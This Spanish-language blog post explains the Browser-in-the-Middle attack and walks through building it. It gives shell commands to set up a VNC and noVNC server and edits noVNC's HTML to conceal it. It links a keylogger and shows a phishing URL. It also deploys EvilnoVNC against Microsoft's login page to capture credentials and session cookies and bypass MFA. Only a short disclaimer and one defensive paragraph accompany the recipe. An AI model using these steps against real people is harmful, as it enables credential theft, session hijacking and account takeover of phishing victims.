Posted in

Evolucionando el MiTM – Browser in The Middle

by Lex••0

Uno de los ataques más usados por los profesionales de la ciberseguridad ofensiva, es el famoso ataque de hombre en el medio (Man in the Middle). El principio es sencillo, el atacante se coloca en el medio de la comunicación entre un origen y un destino, y con ello, puede comprometer todos los principios fundamentales de la seguridad.

Una búsqueda sencilla en Google del término MiTM, nos arrojará cientos de resultados. Las posibilidades de este tipo de ataque son muchas, y afectan a casi todos los protocolos conocidos. Sin embargo, hay que tener en cuenta que no siempre es fácil poder realizarlo, ya que existen controles que ayudan a prevenir que un tercero no autorizado intercepte la comunicación.

Por ejemplo, en una interacción con una aplicación Web, un cliente, mediante un browser, solicita información a un servidor a través del protocolo HTTP. Si un atacante se colocara en medio, podría leer las tramas y/o modificarlas a su conveniencia ya que los datos se envían en texto plano. Si implementamos TLS sobre el servicio web, entonces la tarea ya no es tan sencilla, las tramas viajan cifradas por lo que además de colocarse en el medio, se necesitan técnicas adicionales para que el ataque funcione, por ejemplo, haciendo uso de ARP Spoofing y SSL Strip. Si continuamos implementando controles para evitar la falsificación de las tablas ARP y para forzar la comunicación en HTTPs, se vuelve más complicado realizar un ataque MiTM.

Así, para poder lidiar con escenarios cada vez más complejos, nos debemos apalancar en variantes del ataque, cuyo resultado nos conduzca a conseguir nuestros objetivos. Por ejemplo, si nuestro objetivo es realizar un MiTM para suplantar la identidad de un usuario que se autentica en un portal web, podríamos intentar un robo de sesión (session hijacking), o un compromiso del equipo/navegador de la víctima mediante algún malware, a lo que se conoce como Man in the Browser.

Man in the Browser – Fuente: https://phishgrid.com/blog/man-in-the-browser-attack/

En los últimos años, hemos visto como han aparecido herramientas como Evilginx2, que nos pueden ayudar a conseguir el robo de credenciales o de tokens de sesión, a partir de la configuración de un sitio intermedio que redigirá las peticiones hasta el sitio original. Solo debemos engañar al usuario para que acceda a nuestro sitio, mediante técnicas de ingeniería social. Si quieres conocer como utilizar Evilginx2, puedes ver nuestro post: https://labitacoradelhacker.com/phishing-de-otro-nivel-evilginx2/

La llegada del BiTM

En esa búsqueda de encontrar nuevas formas de engañar al usuario para poder colocarnos en medio de su comunicación y poder comprometer la seguridad de esta, surge el ataque conocido como Browser in the Middle (BiTM). De acuerdo a la definición de MITRE, este ataque consiste en:

Un atacante aprovecha las funcionalidades inherentes de un navegador web para establecer una conexión de escritorio remoto inadvertida entre el navegador de la víctima y su sistema. El atacante debe implementar un cliente web con una sesión de escritorio remoto a la que la víctima pueda acceder.

Para explicarlo de manera sencilla:

  1. El atacante monta una infraestructura que tenga un servicio de escritorio remoto (por ejemplo VNC) un browser transparente que no contenga frames, un servicio web corriento, y por supuesto, un componente adicional que pueda ser ejecutado desde el lado de la victima para que nos ayude a conectarnos a VNC sin que necesite un cliente instalado, aquí es donde entra en juego noVNC.
  2. Un dominio, que será utilizado para publicar el servicio web
  3. Enviar a la víctima la URL, la cual se ejecutará desde un navegador con soporte de HTML5 y Javascript. Al hacerlo, la infraestructura montada por el atacante, capturará la información que entregue el cliente.

El siguiente gráfico quizá te ayude a entenderlo mejor:

Este escenario es ideal para el secuestro de sesiones, captura de datos o evasión de los mecanismos de doble factor de autenticación (2FA). Aunque hay algunas consideraciones que debemos tener, como el tamaño de la resolución del navegador malicioso; si el escenario se prepara adecuadamente, es bastante fiable.

Manos a la obra

Advertencia: La información y las técnicas compartidas en este post son sólo con fines educativos o para realizar pruebas debidamente autorizadas. Atacar usuarios o aplicaciones puede ser considerado ilegal. Utilice este conocimiento bajo su propio riesgo.

Ahora que sabemos los aspectos generales de la teoría, pongamos en práctica el ataque:

  • Lo primero que hay que configurar es el entorno del atacante, para ello, tenemos dos opciones:
    • Construir el entorno de manera manual, instalando cada uno de los componentes según la imagen, lo cual es más complicado, pero te dará mayor capacidad de personalización.
    • Obtener entornos preparados para desplegar los componentes.

1. Construir el entorno de manera manual

  • La ventaja de instalar todo desde cero, es que el entorno es mas versatil, por lo que podrás configurar cada componente, haciendo que el escenario se vea más real. Esto no quiere decir que con la forma automática no lo puedas hacer, sin embargo, entender como funciona el ataque, hace que no tengas restricciones a la hora de modificar el entorno.
  • Lo primero que debemos hacer es preparar nuestro sistema operativo. Nosotros hemos elegido Ubuntu, pero tu puedes elegir la distribución que más te guste.
  • Una vez instalado el sistema, debemos ejecutar los siguientes comandos para instalar vncserver: 
sudo apt update
sudo apt install tigervnc-standalone-server tigervnc-xorg-extension tigervnc-viewer
sudo apt install ubuntu-gnome-desktop
sudo systemctl enable gdm
sudo systemctl start gdm
  • Ahora configuraremos un password para el acceso. Ten en cuenta que este password irá embebido en la URL que se enviará a la víctima, por lo que una buena sugerencia es que parezca un parámetro con un token. Nosotros setearemos un valor random:
vncpasswd
  • Ahora debemos crear el siguiente archivo que llevará la configuración de VNCServer: 
nano ~/.vnc/xstartup
  • Y agregar el siguiente contenido:
#!/bin/sh
# Start Gnome 3 Desktop 
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
vncconfig -iconic &
dbus-launch --exit-with-session gnome-session &
  • Una vez hecho esto, vamos a ejecutar los siguientes comandos, que harán que se deshabilite el bloqueo de pantalla. De no hacer esto, existe la posibilidad de que el cliente vea el bloqueo de pantalla mientras está interactuando con el escritorio remoto:
gsettings set org.gnome.desktop.lockdown disable-lock-screen 'true'
gsettings set org.gnome.desktop.screensaver lock-enabled false
  • El siguiente paso importante es instalar NoVNC. Este componente permitirá que se cargue el contenido del escritorio remoto a través de un browser sin que la victima necesite tener instalado un agente VNC. Además, noVNC utiliza WebSockify, que es un componente que permite convertir los WebSockets a Sockets convencionales, para que pueda interactuar con el servicio VNC. Si quieres conocer más acerca de cada componente, te dejamos los enlaces:
    • NoVNC: https://github.com/novnc/noVNC
    • WebSockify: https://github.com/novnc/websockify
  • Si quieres aprender lo que es un WebSocket y como atacarlos, puedes leer nuestro artículo aquí: https://labitacoradelhacker.com/pentesting-en-websockets/
git clone https://github.com/novnc/noVNC.git
  • Una vez descargado, hay que modificar algunas líneas para que el escenario sea lo más realista posible. Vamos a buscar las siguientes líneas dentro del archivo vnc.html (que se encuentra dentro de la carpeta donde has descargado la repo) y le agregaremos el texto en negrita: 
<div id="noVNC_control_bar_anchor" class="noVNC_vcenter" style="display:none;">
<div id="noVNC_control_bar" style="display:none;">
<div id="noVNC_status" style="display:none"></div>
<div id="noVNC_transition" style="background-color:white;color:white">
  • Lo siguiente que tenemos que hacer, es levantar el servicio VNCServer, junto con permitir la entrada de peticiones HTTP a través del FW interno de nuestro SO:
vncserver -depth 32 -geometry 1920x1080 -localhost no
sudo ufw allow http
  • Ahora el servicio ya está listo, por lo que toca iniciar noVNC para que podamos entregarle el link a la víctima, sin embargo, antes de eso debemos definir qué queremos capturar, de lo contrario, el usuario podrá interactuar de manera natural con la página web, y nosotros como atacantes no nos enteraremos de nada. En este punto puedes ponerte creativo y realizar los ataques que quieras basados en Add-ons de Firefox, sniffers o simplemente construir tu propio script que capture información. Nosotros vamos a utilizar el siguiente script, que captura todas las teclas pulsadas por el usuario víctima (Keylogger): https://github.com/JoelGMSec/EvilnoVNC/blob/main/Files/keylogger.py
  • Una vez descargado, ten en cuenta que debes personalizarlo para que apunte a un archivo dentro de la ruta que tienes en tu SO.
  • Ahora sí, vamos a ejecutar la siguiente serie de comandos, los cuales realizan los siguiente:
    • Utilizando novnc_proxy, escucharemos en el puerto 80, y llevaremos los paquetes hacia el puerto 5901, el cual es el puerto abierto por VNCServer.
    • Dentro del entorno creado por VNCServer, abriremos un navegador, el cual tendrá como página de origen a Google, y funcionará sin ningún margen (modo Kiosk)
    • Dentro del entorno creado por VNCServer, ejecutaremos nuestro script keylogger
  • Todo listo!. Ahora, lo que tenemos que hacer es pasarle la URL a nuestra víctima: 
http://192.168.142.236/vnc.html?autoconnect=true&password=5DZj23E6CPAA2FG78UJmlKo923FGhidEE&resize=remote
  • Cuando ingrese a su navegador verá lo siguiente:
  • Aunque luce muy real, lo que realmente está ejecutando nuestro usuario víctima, es un escritorio remoto en donde está levantado el Firefox. Por detrás, nosotros capturaremos todo lo que escriba:
  • En nuestro servidor podemos ver lo siguiente:
  • Credenciales capturadas!. En este punto, como tienes control de todo el sistema, realmente puedes hacer todo lo que esté a tu alcance, como robar las cookies, bypassear MFA, etc etc. Dejaremos este escenario manual hasta acá, y veremos como hacerlo con un entorno preparado.
  • Para este escenario, es importante mencionar que nuestras fuentes fueron las siguientes:
    • https://mrd0x.com/bypass-2fa-using-novnc/
    • https://fhlipzero.io/blogs/6_noVNC/noVNC.html

2. Utilizar un entorno preparado

  • Esta forma es mucho más sencilla. Para ello utilizaremos el entorno EvilnoVNC, el cual puedes descargar desde aquí: https://github.com/JoelGMSec/EvilnoVNC. Solo necesitamos tener Docker instalado
  • Una vez descargado, ejecutaremos los siguientes comandos: 
git clone https://github.com/JoelGMSec/EvilnoVNC
cd EvilnoVNC ; sudo chown -R 103 Downloads
sudo docker build -t joelgmsec/evilnovnc .
  • Y luego iniciaremos el script start.sh
./start.sh 1920x1080x24 https://login.microsoftonline.com/
  • Ahora no tenemos nada más que hacer, solo compartir el enlace a nuestra víctima, que para este caso solo es la dirección de nuestro dominio falso:
  • Con EvilnoVNC, podemos abrir un browser apuntando a localhost desde nuestro equipo, y podremos ver lo que el usuario está ejecutando:
  • Además de ello, tenemos ya módulos incorporados que no solo permiten capturar el texto ingresado (keylogger), sino además capturar las cookies de sesión que incluso nos sirven para evadir el MFA, y los archivos que puedas descargar, permanecerán en nuestro equipo:
  • Aunque ya viene todo listo, puedes también realizar tus propias configuraciones cambiando los códigos antes de generar el contenedor. Dejaremos este escenario acá y el resto lo dejamos en manos de tu curiosidad.

Bien, ambas formas tienes sus ventajas y desventajas, sin embargo, como habrás podido notar, permiten realizar un ataque BiTM y capturar información.

Desventajas del ataque:

  • Velocidad: Al estar cargando un escritorio remoto, la información que se envía al usuario víctima es mucho más pesada que las respuestas HTTP convencionales del sitio real. Este ataque es ideal siempre que tengamos en cuenta la velocidad de carga/descarga de la víctima.
  • Resolución: Los escenarios vistos aquí han sido ejecutados en un entorno de escritorio, pero nuestra víctima podría abrir el enlace desde un navegador móvil, lo que podría complicar la renderización si no tenemos en cuenta este dato. Utilizar los diferentes modos de resolución desde NoVNC, es importante a la hora de ejecutar el ataque.
  • Concurrencia de víctimas: A diferencia de Evilginx2, en donde el dominio falso se puede enviar a múltiples víctimas y las sesiones son guardadas de manera individual, en este ataque, si queremos tener varios objetivos, debemos iniciar múltiples entornos remotos, lo cual hace que se requieran más recursos del servidor. Si quieres ver como hacerlo, puedes leer la guía de mrd0x https://mrd0x.com/bypass-2fa-using-novnc/

Mecanismos de defensa

Uno de los mecanismos de protección contra este tipo de ataque, es la utilización de tokens FIDO o certificados para la autenticación, ya que el atacante no poseerá la llave necesaria, impidiendo redirigir la trama hacia el sitio real, lo que podría causar un error y finalmente ser detectado por la víctima.

Si quieres seguir explorando este ataque, te dejamos algunos recursos que podrían ayudarte:

Paper sobre BiTM, de Franco Tomassi, Christian Catalano y Tomas Maurino:

  • https://link.springer.com/article/10.1007/s10207-021-00548-5

Eso es todo. Esperamos que este artículo te haya sido de utilidad.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *